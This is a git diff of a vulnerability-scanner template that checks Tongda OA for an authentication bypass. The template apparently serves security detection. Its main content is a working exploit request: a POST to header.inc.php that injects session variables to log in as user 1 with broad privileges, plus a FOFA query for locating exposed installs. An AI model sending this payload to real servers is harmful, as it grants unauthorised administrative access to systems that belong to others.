diff --git a/http/vulnerabilities/tongda/tongda-arbitrary-login.yaml b/http/vulnerabilities/tongda/tongdaoa-auth-bypass.yaml
similarity index 79%
rename from http/vulnerabilities/tongda/tongda-arbitrary-login.yaml
rename to http/vulnerabilities/tongda/tongdaoa-auth-bypass.yaml
index 85d2f8a9b5..4d5662ec5d 100755
--- a/http/vulnerabilities/tongda/tongda-arbitrary-login.yaml
+++ b/http/vulnerabilities/tongda/tongdaoa-auth-bypass.yaml
@@ -1,7 +1,7 @@
-id: tongda-arbitrary-login
+id: tongdaoa-auth-bypass
info:
- name: Tongda OA header.inc.php - Authentication Bypass
+ name: Tongda OA - Authentication Bypass
author: SleepingBag945
severity: high
description: |
@@ -11,11 +11,24 @@ info:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/tongda-oa-2017-auth-bypass.yaml
metadata:
verified: true
- max-request: 2
+ max-request: 3
fofa-query: app="TDXK-通达OA"
- tags: tongda,authbypass,misconfig
+ tags: tongda,auth-bypass,misconfig
+
+flow: http(1) && http(2) && http(3)
http:
+ - raw:
+ - |+
+ GET /general/index.php HTTP/1.1
+ Host: {{Hostname}}
+
+ unsafe: true
+ matchers:
+ - type: dsl
+ dsl:
+ - 'status_code == 200 && contains(body,"
用户未登录")'
+
- raw:
- |
POST /module/retrieve_pwd/header.inc.php HTTP/1.1
@@ -24,24 +37,20 @@ http:
Accept-Encoding: gzip
_SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182,183,194,637,134,37,135,136,226,253,254,255,536,24,196,105,119,80,96,97,98,114,126,179,607,539,251,127,238,128,85,86,87,88,89,137,138,222,90,91,92,152,93,94,95,118,237,108,109,110,112,51,53,54,153,217,150,239,240,218,219,43,17,18,19,15,36,70,76,77,115,116,185,235,535,59,133,64,257,2,74,12,68,66,67,13,14,40,41,44,75,27,60,61,481,482,483,484,485,486,487,488,489,490,491,492,120,494,495,496,497,498,499,500,501,502,503,505,504,26,506,507,508,515,537,122,123,124,628,125,630,631,632,633,55,514,509,29,28,129,510,511,224,39,512,513,252,230,231,232,629,233,234,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,200,202,201,203,204,205,206,207,208,209,65,187,186,188,189,190,191,606,192,193,221,550,551,73,62,63,34,532,548,640,641,642,549,601,600,602,603,604,46,21,22,227,56,30,31,33,32,605,57,609,103,146,107,197,228,58,538,151,6,534,69,71,72,223,639,225,236,78,178,104,121,149,84,99,100,533,101,113,198,540,626,638,38,&_SESSION[LOGIN_USER_PRIV]=1&_SESSION[LOGIN_USER_PRIV_OTHER]=1&_SESSION[LOGIN_USER_PRIV_TYPE]=1&_SESSION[LOGIN_NOT_VIEW_USER]=0&_SESSION[RETRIEVE_PWD_USER]=1
- - |
- GET /general/index.php HTTP/1.1
- Host: {{Hostname}}
- Cookie: PHPSESSID={{cookie}};
- extractors:
- - type: regex
- name: cookie
- internal: true
- part: header
- group: 1
- regex:
- - 'PHPSESSID=(.*?);'
matchers:
- type: dsl
dsl:
- - 'status_code_1 == 200 && contains(header_1, "Set-Cookie") && contains(header_1,"PHPSESSID")'
- - 'status_code_2 == 200 && !contains(body_2,"用户未登录") && contains(body_2,"loginUser")'
- condition: and
+ - 'status_code == 200 && contains(header, "Set-Cookie") && contains(header,"PHPSESSID")'
+ internal: true
+ - raw:
+ - |
+ GET /general/index.php HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'status_code == 200 && !contains(body,"用户未登录") && contains(body,"loginUser")'
# digest: 4b0a00483046022100827e905c51b81993182e9320b324168da41af4255a5315692103a365288573e4022100a1043e68a509de2024cd374221b84f560491dadd41449cc52fb6e38da8b82dbc:922c64590222798bb761d5b6d8e72950